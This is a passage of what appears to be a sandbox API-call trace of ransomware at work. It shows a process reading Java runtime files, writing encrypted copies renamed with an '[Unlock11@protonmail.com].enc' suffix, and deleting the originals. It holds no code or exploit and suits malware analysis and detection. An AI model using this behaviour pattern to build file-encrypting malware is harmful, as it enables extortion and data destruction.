hHeap=0x2ad0000) returned 1 [0126.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9058 [0126.411] GetLastError () returned 0x0 [0126.411] GetLastError () returned 0x0 [0126.411] GetCurrentThreadId () returned 0x9b0 [0126.411] GetLastError () returned 0x0 [0126.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9058 | out: hHeap=0x2ad0000) returned 1 [0126.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.412] GetLastError () returned 0x0 [0126.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0126.413] CloseHandle (hObject=0x3ac) returned 1 [0126.413] GetLastError () returned 0x0 [0126.413] GetCurrentThreadId () returned 0x9b0 [0126.413] GetLastError () returned 0x0 [0126.413] GetLastError () returned 0x0 [0126.413] CloseHandle (hObject=0x39c) returned 1 [0126.414] GetLastError () returned 0x0 [0126.414] GetCurrentThreadId () returned 0x9b0 [0126.414] GetLastError () returned 0x0 [0126.414] GetLastError () returned 0x0 [0126.414] GetLastError () returned 0x0 [0126.414] GetLastError () returned 0x0 [0126.414] GetLastError () returned 0x0 [0126.414] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0126.415] GetLastError () returned 0x0 [0126.415] GetCurrentThreadId () returned 0x9b0 [0126.415] GetLastError () returned 0x0 [0126.416] GetLastError () returned 0x0 [0126.416] GetLastError () returned 0x0 [0126.416] GetLastError () returned 0x0 [0126.416] GetLastError () returned 0x0 [0126.416] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties", lpFilePart=0x9bada4*="psfontj2d.properties") returned 0x3b [0126.416] GetCurrentThreadId () returned 0x9b0 [0126.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0126.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0126.416] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0126.416] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0126.417] GetCurrentThreadId () returned 0x9b0 [0126.417] GetLastError () returned 0x0 [0126.417] GetLastError () returned 0x0 [0126.417] GetLastError () returned 0x0 [0126.417] GetLastError () returned 0x0 [0126.417] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", lpFilePart=0x9bada4*="resources.jar") returned 0x34 [0126.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0126.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0126.417] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0126.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0126.417] GetCurrentThreadId () returned 0x9b0 [0126.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.418] GetLastError () returned 0x0 [0126.418] GetLastError () returned 0x0 [0126.418] GetLastError () returned 0x0 [0126.418] GetLastError () returned 0x0 [0126.418] GetCurrentThreadId () returned 0x9b0 [0126.418] GetLastError () returned 0x0 [0126.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.418] GetLastError () returned 0x0 [0126.419] GetLastError () returned 0x0 [0126.419] GetLastError () returned 0x0 [0126.419] GetLastError () returned 0x0 [0126.419] GetCurrentThreadId () returned 0x9b0 [0126.419] GetLastError () returned 0x0 [0126.419] GetCurrentThreadId () returned 0x9b0 [0126.419] GetLastError () returned 0x0 [0126.419] GetLastError () returned 0x0 [0126.419] GetLastError () returned 0x0 [0126.419] GetLastError () returned 0x0 [0126.419] GetCurrentThreadId () returned 0x9b0 [0126.419] GetLastError () returned 0x0 [0126.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.420] GetLastError () returned 0x0 [0126.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0126.420] GetLastError () returned 0x0 [0126.420] GetLastError () returned 0x0 [0126.420] GetLastError () returned 0x0 [0126.420] GetCurrentThreadId () returned 0x9b0 [0126.420] GetLastError () returned 0x0 [0126.420] GetLastError () returned 0x0 [0126.420] GetLastError () returned 0x0 [0126.421] GetLastError () returned 0x0 [0126.421] GetLastError () returned 0x0 [0126.421] GetCurrentThreadId () returned 0x9b0 [0126.421] GetLastError () returned 0x0 [0126.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0126.421] GetCurrentThreadId () returned 0x9b0 [0126.421] GetLastError () returned 0x0 [0126.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0126.421] GetLastError () returned 0x0 [0126.421] GetLastError () returned 0x0 [0126.421] GetLastError () returned 0x0 [0126.422] GetCurrentThreadId () returned 0x9b0 [0126.422] GetLastError () returned 0x0 [0126.422] GetLastError () returned 0x0 [0126.422] GetLastError () returned 0x0 [0126.422] GetLastError () returned 0x0 [0126.422] GetLastError () returned 0x0 [0126.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0126.422] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add)) returned 1 [0126.422] GetLastError () returned 0x0 [0126.422] GetCurrentThreadId () returned 0x9b0 [0126.423] GetLastError () returned 0x0 [0126.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0126.423] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b624 | out: pbBuffer=0x366b624) returned 1 [0126.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0126.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0126.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0126.423] GetCurrentThreadId () returned 0x9b0 [0126.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.423] GetLastError () returned 0x0 [0126.423] GetLastError () returned 0x0 [0126.423] GetLastError () returned 0x0 [0126.424] GetLastError () returned 0x0 [0126.424] GetCurrentThreadId () returned 0x9b0 [0126.424] GetLastError () returned 0x0 [0126.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.424] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.424] GetCurrentThreadId () returned 0x9b0 [0126.424] GetLastError () returned 0x0 [0126.424] GetLastError () returned 0x0 [0126.424] GetLastError () returned 0x0 [0126.424] GetLastError () returned 0x0 [0126.425] GetCurrentThreadId () returned 0x9b0 [0126.425] GetLastError () returned 0x0 [0126.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32652f8 [0126.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5360 | out: hHeap=0x2ad0000) returned 1 [0126.425] GetLastError () returned 0x0 [0126.425] GetLastError () returned 0x0 [0126.425] GetLastError () returned 0x0 [0126.425] GetLastError () returned 0x0 [0126.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265338 [0126.425] GetLastError () returned 0x0 [0126.426] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.426] GetFileType (hFile=0x39c) returned 0x1 [0126.426] GetLastError () returned 0x0 [0126.426] GetCurrentThreadId () returned 0x9b0 [0126.426] GetLastError () returned 0x0 [0126.426] GetFileType (hFile=0x39c) returned 0x1 [0126.426] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.426] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.426] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.427] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.427] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.427] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.427] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.427] GetLastError () returned 0x0 [0126.427] GetCurrentThreadId () returned 0x9b0 [0126.427] GetLastError () returned 0x0 [0126.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0126.427] GetLastError () returned 0x0 [0126.427] GetLastError () returned 0x0 [0126.427] GetLastError () returned 0x0 [0126.427] GetLastError () returned 0x0 [0126.428] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.428] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653b8 [0126.428] GetLastError () returned 0x0 [0126.428] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.428] GetFileType (hFile=0x3ac) returned 0x1 [0126.428] GetLastError () returned 0x0 [0126.428] GetCurrentThreadId () returned 0x9b0 [0126.429] GetLastError () returned 0x0 [0126.429] GetFileType (hFile=0x3ac) returned 0x1 [0126.429] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.429] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.429] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.429] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.429] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.429] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.429] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.429] GetLastError () returned 0x0 [0126.429] GetCurrentThreadId () returned 0x9b0 [0126.429] GetLastError () returned 0x0 [0126.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0126.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c18 | out: hHeap=0x2ad0000) returned 1 [0126.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0126.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0126.430] GetLastError () returned 0x0 [0126.430] GetLastError () returned 0x0 [0126.430] GetCurrentThreadId () returned 0x9b0 [0126.430] GetLastError () returned 0x0 [0126.430] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0126.430] GetLastError () returned 0x0 [0126.430] GetLastError () returned 0x0 [0126.430] GetCurrentThreadId () returned 0x9b0 [0126.431] GetLastError () returned 0x0 [0126.431] GetLastError () returned 0x0 [0126.433] GetLastError () returned 0x0 [0126.433] GetCurrentThreadId () returned 0x9b0 [0126.433] GetLastError () returned 0x0 [0126.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652f8 | out: hHeap=0x2ad0000) returned 1 [0126.434] GetCurrentThreadId () returned 0x9b0 [0126.434] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.434] GetLastError () returned 0x0 [0126.434] GetLastError () returned 0x0 [0126.434] GetLastError () returned 0x0 [0126.434] GetLastError () returned 0x0 [0126.434] GetCurrentThreadId () returned 0x9b0 [0126.434] GetLastError () returned 0x0 [0126.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0126.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0126.435] GetLastError () returned 0x0 [0126.437] GetLastError () returned 0x0 [0126.437] GetCurrentThreadId () returned 0x9b0 [0126.437] GetLastError () returned 0x0 [0126.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.437] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.437] GetLastError () returned 0x0 [0126.437] GetLastError () returned 0x0 [0126.438] GetCurrentThreadId () returned 0x9b0 [0126.438] GetLastError () returned 0x0 [0126.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.438] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652f8 [0126.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0126.439] GetCurrentThreadId () returned 0x9b0 [0126.439] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.439] GetLastError () returned 0x0 [0126.439] GetLastError () returned 0x0 [0126.439] GetLastError () returned 0x0 [0126.439] GetLastError () returned 0x0 [0126.439] GetCurrentThreadId () returned 0x9b0 [0126.439] GetLastError () returned 0x0 [0126.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0126.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0126.440] GetLastError () returned 0x0 [0126.441] GetLastError () returned 0x0 [0126.441] GetCurrentThreadId () returned 0x9b0 [0126.441] GetLastError () returned 0x0 [0126.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.441] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.441] GetLastError () returned 0x0 [0126.442] GetLastError () returned 0x0 [0126.442] GetLastError () returned 0x0 [0126.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.442] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0126.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652f8 | out: hHeap=0x2ad0000) returned 1 [0126.443] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.443] GetLastError () returned 0x0 [0126.444] GetLastError () returned 0x0 [0126.444] GetLastError () returned 0x0 [0126.444] GetLastError () returned 0x0 [0126.444] GetLastError () returned 0x0 [0126.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0126.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0126.444] GetLastError () returned 0x0 [0126.446] GetLastError () returned 0x0 [0126.446] GetLastError () returned 0x0 [0126.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.446] GetLastError () returned 0x0 [0126.447] GetLastError () returned 0x0 [0126.447] GetLastError () returned 0x0 [0126.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0126.447] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.448] GetLastError () returned 0x0 [0126.448] GetLastError () returned 0x0 [0126.448] GetLastError () returned 0x0 [0126.448] GetLastError () returned 0x0 [0126.448] GetLastError () returned 0x0 [0126.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.448] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.448] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.449] GetLastError () returned 0x0 [0126.450] GetLastError () returned 0x0 [0126.450] GetLastError () returned 0x0 [0126.450] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.450] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.450] GetLastError () returned 0x0 [0126.450] GetLastError () returned 0x0 [0126.452] GetLastError () returned 0x0 [0126.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265438 [0126.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.452] GetLastError () returned 0x0 [0126.452] GetLastError () returned 0x0 [0126.452] GetLastError () returned 0x0 [0126.453] GetLastError () returned 0x0 [0126.453] GetLastError () returned 0x0 [0126.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.453] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0126.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.453] GetLastError () returned 0x0 [0126.455] GetLastError () returned 0x0 [0126.455] GetLastError () returned 0x0 [0126.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.455] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.455] GetLastError () returned 0x0 [0126.455] GetLastError () returned 0x0 [0126.456] GetLastError () returned 0x0 [0126.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652f8 [0126.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265438 | out: hHeap=0x2ad0000) returned 1 [0126.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.457] GetLastError () returned 0x0 [0126.457] GetLastError () returned 0x0 [0126.457] GetLastError () returned 0x0 [0126.457] GetLastError () returned 0x0 [0126.457] GetLastError () returned 0x0 [0126.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0126.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0126.457] GetLastError () returned 0x0 [0126.458] GetLastError () returned 0x0 [0126.458] GetLastError () returned 0x0 [0126.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.459] GetLastError () returned 0x0 [0126.459] GetLastError () returned 0x0 [0126.459] GetLastError () returned 0x0 [0126.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265388 [0126.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652f8 | out: hHeap=0x2ad0000) returned 1 [0126.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.460] GetLastError () returned 0x0 [0126.460] GetLastError () returned 0x0 [0126.460] GetLastError () returned 0x0 [0126.460] GetLastError () returned 0x0 [0126.460] GetLastError () returned 0x0 [0126.460] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.460] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0126.460] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0126.461] GetLastError () returned 0x0 [0126.461] GetLastError () returned 0x0 [0126.462] GetLastError () returned 0x0 [0126.462] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.462] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.537] GetLastError () returned 0x0 [0126.538] GetLastError () returned 0x0 [0126.539] GetLastError () returned 0x0 [0126.539] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.540] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.540] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265388 | out: hHeap=0x2ad0000) returned 1 [0126.541] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.541] GetLastError () returned 0x0 [0126.541] GetLastError () returned 0x0 [0126.541] GetLastError () returned 0x0 [0126.542] GetLastError () returned 0x0 [0126.542] GetLastError () returned 0x0 [0126.542] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.542] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.542] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.542] GetLastError () returned 0x0 [0126.543] GetLastError () returned 0x0 [0126.543] GetLastError () returned 0x0 [0126.543] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.543] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.544] GetLastError () returned 0x0 [0126.544] GetLastError () returned 0x0 [0126.544] GetLastError () returned 0x0 [0126.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265388 [0126.544] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.544] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.544] GetLastError () returned 0x0 [0126.545] GetLastError () returned 0x0 [0126.545] GetLastError () returned 0x0 [0126.545] GetLastError () returned 0x0 [0126.683] CloseHandle (hObject=0x3ac) returned 1 [0126.684] CloseHandle (hObject=0x39c) returned 1 [0126.684] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 1 [0126.688] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", lpFilePart=0x9bada4*="rt.jar") returned 0x2d [0126.689] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, 